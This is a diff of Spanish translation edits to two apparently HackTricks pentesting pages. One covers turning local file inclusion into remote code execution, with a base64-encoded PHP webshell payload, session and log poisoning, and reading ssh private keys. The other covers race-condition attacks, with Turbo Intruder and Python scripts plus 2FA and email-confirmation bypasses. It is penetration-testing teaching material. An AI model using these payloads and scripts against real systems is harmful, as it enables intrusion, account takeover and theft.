@@ -501,47 +501,47 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Vía correo electrónico
-**Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `` e intenta incluirlo en el correo del usuario con una ruta como **`/var/mail/`** o **`/var/spool/mail/`**
+**Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `` e intenta incluir el correo del usuario con una ruta como **`/var/mail/`** o **`/var/spool/mail/`**
-### A través de /proc/*/fd/*
+### Vía /proc/*/fd/*
-1. Sube muchas shells (por ejemplo: 100)
-2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser brute forced) y $FD = descriptor de archivo (también puede ser brute forced)
+1. Sube muchos shells (por ejemplo: 100)
+2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede obtenerse por fuerza bruta) y $FD el file descriptor (también puede obtenerse por fuerza bruta)
-### A través de /proc/self/environ
+### Vía /proc/self/environ
-Como en un archivo de log, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ
+Como con un archivo de logs, envía el payload en el User-Agent; se reflejará dentro del archivo /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent:
```
### Mediante upload
-Si puedes upload un archivo, simplemente inyecta el shell payload en él (e.g : `` ).
+Si puedes subir un archivo, simplemente inyecta el payload de shell en él (p. ej.: ``).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
-Para mantener el archivo legible es mejor inyectarlo en los metadatos de las imágenes/doc/pdf
+Para mantener el archivo legible, es mejor inyectarlo en los metadatos de las imágenes/doc/pdf
-### Mediante la subida de un archivo ZIP
+### Mediante carga de archivo ZIP
Sube un archivo ZIP que contenga un PHP shell comprimido y accede:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
-### Mediante PHP sessions
+### A través de PHP sessions
Comprueba si el sitio web utiliza PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
-En PHP estas sesiones se almacenan en _/var/lib/php5/sess\\_\[PHPSESSID]\_ archivos
+En PHP, estas sesiones se almacenan en los archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
-Establece la cookie en ``
+Establece la cookie a ``
```
login=1&user=&pass=password&lang=en_us.php
```
@@ -551,71 +551,71 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Vía ssh
-Si ssh está activo, verifica qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a **\/.ssh/id_rsa**
+Si ssh está activo, verifica qué usuario se está usando (/proc/self/status & /etc/passwd) y trata de acceder a **\/.ssh/id_rsa**
### **Vía** **vsftpd** _**registros**_
-Los registros del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario en el que exista una vulnerabilidad de Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
+Los registros del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el caso de que exista una vulnerabilidad de Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
-1. Inyecta un PHP payload en el campo de nombre de usuario durante el proceso de inicio de sesión.
+1. Inyecta un payload PHP en el campo de nombre de usuario durante el proceso de inicio de sesión.
2. Tras la inyección, utiliza la LFI para recuperar los registros del servidor desde _**/var/log/vsftpd.log**_.
### Vía php base64 filter (usando base64)
-Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, PHP base64 filter simplemente ignora lo que no es base64. Puedes usar eso para bypass la verificación de la extensión de archivo: si suministras base64 que termina con ".php", simplemente ignoraría el "." y concatenaría "php" al base64. Aquí hay un ejemplo de payload:
+Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro PHP base64 simplemente ignora los caracteres no base64. Puedes usar eso para eludir la verificación de la extensión de archivo: si suministras un base64 que termine con ".php", éste simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
-### Mediante php filters (no se necesita archivo)
+### Vía php filters (no file needed)
-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters to generate arbitrary content** como salida. Lo que básicamente significa que puedes **generate arbitrary php code** para el include **without needing to write** it en un archivo.
+Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribirlo** en un archivo.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
-### Mediante segmentation fault
+### Vía segmentation fault
-**Upload** un archivo que será almacenado como **temporary** en `/tmp`, luego en la **same request,** provoca un **segmentation fault**, y entonces el **temporary file won't be deleted** y puedes buscarlo.
+**Sube** un archivo que será almacenado como **temporal** en `/tmp`, luego en la **misma petición,** provoca un **segmentation fault**, y entonces el **archivo temporal no será eliminado** y podrás buscarlo.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
-### Mediante Nginx temp file storage
+### Vía Nginx almacenamiento de archivos temporales
-Si encuentras una **Local File Inclusion** y **Nginx** está ejecutándose frente a PHP podrías obtener RCE con la siguiente técnica:
+Si encontraste una Local File Inclusion y Nginx está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
-### Mediante PHP_SESSION_UPLOAD_PROGRESS
+### Vía PHP_SESSION_UPLOAD_PROGRESS
-Si encuentras una **Local File Inclusion** incluso si **no tienes una session** y `session.auto_start` está `Off`. Si provees el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **enable the session for you**. Podrías abusar de esto para obtener RCE:
+Si encontraste una Local File Inclusion incluso si no tienes una sesión y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
-### Mediante temp file uploads in Windows
+### Vía cargas de archivos temporales en Windows
-Si encuentras una **Local File Inclusion** y el servidor está ejecutándose en **Windows** podrías conseguir RCE:
+Si encontraste una Local File Inclusion y el servidor está ejecutándose en **Windows** podrías obtener RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
-### Mediante `pearcmd.php` + URL args
+### Vía `pearcmd.php` + URL args
-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en php docker images. Moreover, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un `=`, debería usarse como argumento. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+Como se explica en este post, el script `/usr/local/lib/phppearcmd.php` existe por defecto en las imágenes docker de PHP. Además, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de la URL no tiene un `=`, debería usarse como argumento. Véase también el write-up de watchTowr y “Confusion Attacks” de Orange Tsai.
The following request create a file in `/tmp/hello.php` with the content ``:
```bash
@@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### A través de phpinfo() (file_uploads = on)
-Si encontraste un **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on, puedes obtener RCE:
+Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on puedes obtener RCE:
{{#ref}}
@@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
-Si encontraste un **Local File Inclusion** y **puedes exfiltrate the path** del archivo temporal PERO el **server** está comprobando si el **archivo a incluir tiene marcas PHP**, puedes intentar **bypass that check** con esta **Race Condition**:
+Si encontraste una **Local File Inclusion** y **can exfiltrate the path** del archivo temporal PERO el **server** está **checking** si el **file to be included has PHP marks**, puedes intentar **bypass that check** con esta **Race Condition**:
{{#ref}}
@@ -648,19 +648,19 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### A través de eternal waiting + bruteforce
-Si puedes abusar del LFI para **subir archivos temporales** y hacer que el server **cuelgue** la ejecución de PHP, podrías entonces **brute force nombres de archivo durante horas** para encontrar el archivo temporal:
+Si puedes abusar del LFI para **upload temporary files** y hacer que el server **hang** la ejecución de PHP, entonces podrías **brute force filenames during hours** para encontrar el archivo temporal:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
-### Hacia un Fatal Error
+### A Fatal Error
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo 2 veces para provocar ese error).
-**No sé cuán útil es esto, pero podría serlo.**\
-_Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos son eliminados._
+**No sé cómo puede ser útil esto pero podría serlo.**\
+_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
.png)
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index 2717a6183..635a9d540 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -3,43 +3,43 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
-> Para obtener una comprensión profunda de esta técnica consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> Para obtener una comprensión profunda de esta técnica, consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
-## Mejorando los ataques de Race Condition
+## Mejoras en ataques de Race Condition
-El principal obstáculo para aprovechar race conditions es asegurarse de que múltiples requests sean procesadas al mismo tiempo, con una diferencia en sus tiempos de procesamiento muy pequeña — idealmente, menos de 1ms.
+El principal obstáculo para aprovechar las race conditions es asegurarse de que múltiples requests sean procesadas al mismo tiempo, con una diferencia en sus tiempos de procesamiento muy pequeña — idealmente, menos de 1ms.
Aquí puedes encontrar algunas técnicas para sincronizar requests:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
-- **HTTP/2**: Permite enviar dos requests sobre una única conexión TCP, reduciendo el impacto del jitter de la red. Sin embargo, debido a variaciones del lado del servidor, dos requests pueden no ser suficientes para un exploit de race condition consistente.
-- **HTTP/1.1 'Last-Byte Sync'**: Permite pre-enviar la mayor parte de 20-30 requests, reteniendo un pequeño fragmento que luego se envía conjuntamente, logrando la llegada simultánea al servidor.
+- **HTTP/2**: Soporta enviar dos requests sobre una única conexión TCP, reduciendo el impacto del jitter de red. Sin embargo, debido a variaciones en el lado del servidor, dos requests pueden no ser suficientes para un exploit consistente de race condition.
+- **HTTP/1.1 'Last-Byte Sync'**: Permite pre-enviar la mayor parte de 20-30 requests, reteniendo un pequeño fragmento, que luego se envía junto, logrando la llegada simultánea al servidor.
-La preparación para Last-Byte Sync implica:
+**Preparación para Last-Byte Sync** implica:
-1. Enviar headers y body data menos el byte final sin cerrar el stream.
+1. Enviar headers y datos del body menos el byte final sin cerrar el stream.
2. Pausar 100ms después del envío inicial.
-3. Deshabilitar TCP_NODELAY para utilizar Nagle's algorithm y agrupar los frames finales.
-4. Hacer ping para calentar la conexión.
+3. Desactivar TCP_NODELAY para aprovechar el algoritmo de Nagle y agrupar los frames finales.
+4. Hacer ping para precalentar la conexión.
-El envío posterior de los frames retenidos debería resultar en su llegada en un solo paquete, verificable con Wireshark. Este método no se aplica a static files, que típicamente no están involucrados en ataques RC.
+El posterior envío de los frames retenidos debería resultar en su llegada en un único paquete, verificable con Wireshark. Este método no aplica a archivos estáticos, que típicamente no están involucrados en RC attacks.
-### Adaptándose a la arquitectura del servidor
+### Adaptación a la arquitectura del servidor
-Entender la arquitectura del objetivo es crucial. Front-end servers pueden enrutar requests de forma diferente, afectando el timing. El connection warming preventivo del lado del servidor, mediante requests inocuos, puede normalizar los tiempos de request.
+Entender la arquitectura del objetivo es crucial. Los front-end servers pueden enrutar las requests de forma distinta, afectando la sincronización. El precalentamiento de conexiones en el lado del servidor, mediante requests sin importancia, puede normalizar el timing de las requests.
-#### Manejo del bloqueo basado en session
+#### Manejo del bloqueo basado en sesión
-Frameworks como el session handler de PHP serializan los requests por session, lo que puede ocultar vulnerabilidades. Utilizar diferentes session tokens para cada request puede eludir este problema.
+Frameworks como el session handler de PHP serializan los requests por session, lo que puede ocultar vulnerabilidades. Utilizar distintos session tokens para cada request puede eludir este problema.
-#### Superando límites de tasa o recursos
+#### Superar límites de rate o recursos
-Si el connection warming no es efectivo, provocar intencionadamente retrasos de rate o resource limits en los web servers mediante una avalancha de requests ficticios podría facilitar el single-packet attack al inducir un retraso del lado del servidor favorable a race conditions.
+Si el precalentamiento de conexiones no funciona, inducir deliberadamente retrasos en el servidor web mediante una avalancha de requests dummy podría facilitar el single-packet attack al provocar una demora en el lado del servidor favorable a las race conditions.
## Ejemplos de ataque
-- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Puedes enviar la request a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puedes cambiar en la request el valor que quieres brute forcear para **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar el **`examples/race-single-packer-attack.py`** del desplegable:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Puedes enviar la request a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puedes cambiar en la request el valor que quieres brute force para **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar el **`examples/race-single-packer-attack.py`** desde el desplegable:
.png)
@@ -50,9 +50,9 @@ for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
-> Si el sitio web no soporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` en lugar de `Engine.BURP2`.
+> Si el sitio no soporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` en lugar de `Engine.BURP2`.
-- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: En caso de que necesites enviar una request a 1 endpoint y luego varias requests a otros endpoints para desencadenar la RCE, puedes cambiar el script `race-single-packet-attack.py` por algo como:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: En caso de que necesites enviar una request a 1 endpoint y luego varias a otros endpoints para desencadenar la RCE, puedes cambiar el script `race-single-packet-attack.py` con algo como:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@@ -84,15 +84,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
engine.openGate(currentAttempt)
```
- También está disponible en **Repeater** a través de la nueva opción '**Send group in parallel**' en Burp Suite.
-- Para **limit-overrun** podrías simplemente añadir la **misma request 50 veces** en el grupo.
-- Para **connection warming**, podrías **añadir** al **inicio** del **grupo** algunas **requests** a alguna parte no estática del servidor web.
-- Para **delaying** el proceso **entre** procesar **una request y otra** en 2 pasos de substates, podrías **añadir extra requests entre** ambas requests.
-- Para un **multi-endpoint** RC podrías empezar a enviar la **request** que **va al hidden state** y luego **50 requests** inmediatamente después que **explotan el hidden state**.
+- Para **limit-overrun** podrías simplemente añadir la **same request 50 times** en el **group**.
+- Para **connection warming**, podrías **add** al **beginning** del **group** algunas **requests** a alguna parte no estática del servidor web.
+- Para **delaying** el proceso **between** procesar **one request and another** en un flujo de 2 substates, podrías **add extra requests between** ambas **requests**.
+- Para un **multi-endpoint** RC podrías empezar enviando la **request** que **goes to the hidden state** y luego **50 requests** justo después que **exploits the hidden state**.
.png)
-- **Automated python script**: El objetivo de este script es cambiar el email de un usuario mientras lo verifica continuamente hasta que el verification token del nuevo email llegue al último email (esto es porque en el código se observó un RC donde era posible modificar un email pero que la verification se enviara al antiguo, porque la variable que indicaba el email ya estaba poblada con el primero).\
-Cuando se encuentra la palabra "objetivo" en los emails recibidos sabemos que recibimos el verification token del email cambiado y terminamos el ataque.
+- **Automated python script**: El objetivo de este script es cambiar el email de un usuario mientras lo verifica continuamente hasta que el verification token del nuevo email llegue al último email (esto es porque en el código se observó un RC donde era posible modificar un email pero que la verificación se enviara al antiguo porque la variable indicando el email ya estaba poblada con el primero).\
+Cuando la palabra "objetivo" se encuentra en los emails recibidos sabemos que recibimos el verification token del email cambiado y terminamos el ataque.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@@ -217,21 +217,29 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
+#### Turbo Intruder: notas sobre el motor y el gating
+
+- Selección del motor: usa `Engine.BURP2` en objetivos HTTP/2 para trigger the single‑packet attack; vuelve a `Engine.THREADED` o `Engine.BURP` para HTTP/1.1 last‑byte sync.
+- `gate`/`openGate`: encola muchas copias con `gate='race1'` (o per‑attempt gates), lo que retiene la tail de cada request; `openGate('race1')` flushes todas las tails juntas para que lleguen casi simultáneamente.
+- Diagnóstico: marcas de tiempo negativas en Turbo Intruder indican que el servidor respondió antes de que la request se enviara por completo, demostrando solapamiento. Esto es esperado en condiciones de carrera reales.
+- Calentamiento de la conexión: envía un ping o unas cuantas requests inofensivas primero para estabilizar los timings; opcionalmente desactiva `TCP_NODELAY` para fomentar el batching de los frames finales.
+
+
### Mejorando Single Packet Attack
-En la investigación original se explica que este ataque tiene un límite de 1,500 bytes. Sin embargo, en [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), se explicó cómo es posible extender la limitación de 1,500 bytes del single packet attack hasta la **limitación de ventana de 65,535 B de TCP usando fragmentación a nivel IP** (dividiendo un único paquete en múltiples paquetes IP) y enviándolos en distinto orden, lo que permite evitar la reensamblación del paquete hasta que todos los fragmentos hayan llegado al servidor. Esta técnica permitió al investigador enviar 10,000 requests en unos 166 ms.
+En la investigación original se explica que este ataque tiene un límite de 1,500 bytes. Sin embargo, en [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), se explica cómo es posible extender la limitación de 1,500 bytes del single packet attack hasta la **65,535 B window limitation of TCP by using IP layer fragmentation** (dividiendo un solo paquete en múltiples paquetes IP) y enviándolos en orden diferente, lo que impide reensamblar el paquete hasta que todos los fragmentos lleguen al servidor. Esta técnica permitió al investigador enviar 10,000 requests en unos 166ms.
-Ten en cuenta que, aunque esta mejora hace el ataque más fiable en RC que requiere cientos/miles de paquetes que lleguen al mismo tiempo, también puede tener algunas limitaciones de software. Algunos servidores HTTP populares como Apache, Nginx y Go tienen un ajuste estricto `SETTINGS_MAX_CONCURRENT_STREAMS` a 100, 128 y 250. Sin embargo, otros como NodeJS y nghttp2 lo tienen ilimitado.\
-Esto básicamente significa que Apache solo considerará 100 conexiones HTTP desde una única conexión TCP (limitando este ataque RC).
+Ten en cuenta que, aunque esta mejora hace el ataque más fiable en RC que requiere cientos/miles de packets para llegar al mismo tiempo, también puede tener algunas limitaciones de software. Algunos servidores HTTP populares como Apache, Nginx y Go tienen un ajuste estricto `SETTINGS_MAX_CONCURRENT_STREAMS` a 100, 128 y 250. Sin embargo, otros como NodeJS y nghttp2 lo tienen ilimitado.\
+Esto básicamente significa que Apache solo considerará 100 conexiones HTTP desde una única conexión TCP (limitando este RC attack).
Puedes encontrar algunos ejemplos usando esta técnica en el repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
-Antes de la investigación anterior, estos eran algunos payloads usados que simplemente intentaban enviar los paquetes lo más rápido posible para provocar un RC.
+Antes de la investigación anterior, estos eran algunos payloads usados que simplemente intentaban enviar los packets lo más rápido posible para causar un RC.
-- **Repeater:** Revisa los ejemplos de la sección anterior.
-- **Intruder:** Envía la **request** a **Intruder**, establece el **number of threads** a **30** dentro del **Options menu**, selecciona como payload **Null payloads** y genera **30**.
+- **Repeater:** Consulta los ejemplos de la sección anterior.
+- **Intruder**: Envía la **request** a **Intruder**, configura el **number of threads** a **30** dentro del **Options menu and,** selecciona como payload **Null payloads** y genera **30.**
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@@ -279,75 +287,75 @@ print(results)
asyncio.run(main())
```
-## **RC Metodología**
+## **Metodología RC**
### Limit-overrun / TOCTOU
-Este es el tipo más básico de race condition donde **vulnerabilidades** que **aparecen** en lugares que **limitan el número de veces que puedes realizar una acción**. Como usar el mismo código de descuento varias veces en una tienda web. Un ejemplo muy fácil se puede encontrar en [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**this bug**](https://hackerone.com/reports/759247)**.**
+Este es el tipo más básico de race condition donde **vulnerabilities** que **aparecen** en lugares que **limitan el número de veces que puedes realizar una acción**. Como usar el mismo código de descuento en una tienda web varias veces. Un ejemplo muy sencillo se puede encontrar en [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**this bug**](https://hackerone.com/reports/759247)**.**
-Hay muchas variantes de este tipo de ataque, incluyendo:
+Hay muchas variaciones de este tipo de ataque, incluyendo:
-- Canjear una tarjeta de regalo varias veces
-- Valorar un producto múltiples veces
-- Retirar o transferir dinero por encima del saldo de tu cuenta
-- Reutilizar la solución de un mismo CAPTCHA
-- Evadir un anti-brute-force rate limit
+- Canjear una tarjeta regalo varias veces
+- Calificar un producto varias veces
+- Retirar o transferir dinero en exceso del saldo de tu cuenta
+- Reutilizar una única solución CAPTCHA
+- Eludir un rate limit anti-brute-force
### **Subestados ocultos**
-Explotar race conditions complejas suele implicar aprovechar oportunidades breves para interactuar con subestados de máquina ocultos o **no intencionados**. Aquí tienes cómo abordarlo:
+Explotar race conditions complejas a menudo implica aprovechar breves oportunidades para interactuar con subestados de máquina ocultos o **no intencionados**. Aquí tienes cómo abordarlo:
-1. **Identificar Subestados Ocultos Potenciales**
-- Empieza por localizar endpoints que modifiquen o interactúen con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
-- **Almacenamiento**: Prefiere endpoints que manipulen datos persistentes en server-side por encima de aquellos que manejan datos en client-side.
-- **Acción**: Busca operaciones que alteren datos existentes, que son más propensas a crear condiciones explotables en comparación con las que añaden datos nuevos.
-- **Keying**: Los ataques exitosos suelen implicar operaciones indexadas por el mismo identificador, por ejemplo username o reset token.
+1. **Identificar posibles subestados ocultos**
+- Comienza identificando endpoints que modifiquen o interactúen con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Concéntrate en:
+- **Almacenamiento**: Prefiere endpoints que manipulen datos persistentes server-side por encima de los que manejan datos client-side.
+- **Acción**: Busca operaciones que alteren datos existentes, que son más propensas a crear condiciones explotables en comparación con las que añaden nuevos datos.
+- **Keying**: Los ataques exitosos suelen involucrar operaciones que usan la misma clave/identificador, p. ej., username o reset token.
2. **Realizar sondeos iniciales**
-- Prueba los endpoints identificados con ataques de race condition, observando cualquier desviación de los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden señalar una vulnerabilidad.
-3. **Demostrar la Vulnerabilidad**
-- Reduce el ataque al número mínimo de requests necesarios para explotar la vulnerabilidad, a menudo solo dos. Este paso puede requerir múltiples intentos o automatización debido al timing preciso involucrado.
+- Prueba los endpoints identificados con ataques de race condition, observando cualquier desviación respecto a los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden indicar una vulnerabilidad.
+3. **Demostrar la vulnerabilidad**
+- Reduce el ataque al número mínimo de requests necesarias para explotarlo, a menudo solo dos. Este paso puede requerir múltiples intentos o automatización debido al timing preciso involucrado.
-### Ataques sensibles al tiempo
+### Time Sensitive Attacks
La precisión en el timing de las requests puede revelar vulnerabilidades, especialmente cuando se usan métodos predecibles como timestamps para tokens de seguridad. Por ejemplo, generar password reset tokens basados en timestamps podría permitir tokens idénticos para requests simultáneas.
**Para explotar:**
-- Usa un timing preciso, como un ataque de un solo packet, para hacer solicitudes concurrentes de password reset. Tokens idénticos indican una vulnerabilidad.
+- Usa timing preciso, como un ataque de un solo paquete, para hacer requests concurrentes de password reset. Tokens idénticos indican una vulnerabilidad.
**Ejemplo:**
-- Solicita dos password reset tokens al mismo tiempo y compáralos. Tokens que coinciden sugieren un fallo en la generación de tokens.
+- Solicita dos password reset tokens al mismo tiempo y compáralos. Tokens coincidentes sugieren un fallo en la generación de tokens.
-Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) para probar esto.
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
## Estudios de caso de subestados ocultos
-### Pagar y añadir un artículo
+### Pay & add an Item
-Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **añadir un artículo extra** que **no tendrás que pagar**.
+Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pay** en una tienda y **add an extra** item que **no tendrás que pagar**.
-### Confirmar otros emails
+### Confirm other emails
-La idea es **verificar una dirección de email y cambiarla por otra al mismo tiempo** para comprobar si la plataforma verifica la nueva que se cambió.
+La idea es **verificar una dirección de correo y cambiarla a otra diferente al mismo tiempo** para averiguar si la plataforma verifica la nueva dirección cambiada.
-### Cambiar email a 2 direcciones basado en cookies
+### Change email to 2 emails addresses Cookie based
-Según [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab fue vulnerable a un takeover de esta manera porque podría **send** el **email verification token de un email al otro email**.
+Según [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab fue vulnerable a una takeover de esta manera porque podría **send** el **email verification token de un email a otro email**.
-Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para probar esto.
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
-### Estados ocultos de la base de datos / Confirmation Bypass
+### Hidden Database states / Confirmation Bypass
-Si **2 different writes** se usan para **añadir** **información** dentro de una **base de datos**, hay una pequeña porción de tiempo donde **solo los primeros datos han sido escritos** dentro de la base de datos. Por ejemplo, al crear un usuario el **username** y **password** podrían ser **escritos** y **luego el token** para confirmar la cuenta recién creada es escrito. Esto significa que por un pequeño tiempo el **token para confirmar una cuenta es null**.
+Si se usan **2 escrituras diferentes** para **añadir** **información** dentro de una **base de datos**, hay un pequeño lapso de tiempo en el que **solo los primeros datos han sido escritos** en la base de datos. Por ejemplo, al crear un usuario el **username** y la **password** podrían ser **escritos** y **luego el token** para confirmar la cuenta recién creada es escrito. Esto significa que durante un pequeño tiempo el **token para confirmar una cuenta es null**.
-Por lo tanto **registrar una cuenta y enviar varias requests con un token vacío** (`token=` or `token[]=` or any other variation) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el email.
+Por lo tanto, **registrar una cuenta y enviar varias requests con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el email.
-Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para probar esto.
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
### Bypass 2FA
-The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
+El siguiente pseudo-code es vulnerable a race condition porque en un tiempo muy pequeño la **2FA no se aplica** mientras se crea la sesión:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@@ -357,23 +365,23 @@ session['enforce_mfa'] = True
```
### OAuth2 persistencia eterna
-There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Estos servicios te permitirán crear una aplicación y autenticar usuarios que el proveedor ha registrado. Para ello, el **cliente** necesitará **permitir que tu aplicación** acceda a parte de sus datos dentro del **OAUth provider**.\
-Hasta aquí es solo un login común con google/linkedin/github... donde se te muestra una página que dice: "_La aplicación \ quiere acceder a tu información, ¿quieres permitirlo?_"
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Estos servicios te permiten crear una aplicación y autenticar usuarios que el provider ha registrado. Para ello, el **client** necesitará **permitir que tu aplicación** acceda a parte de sus datos dentro del **OAUth provider**.\
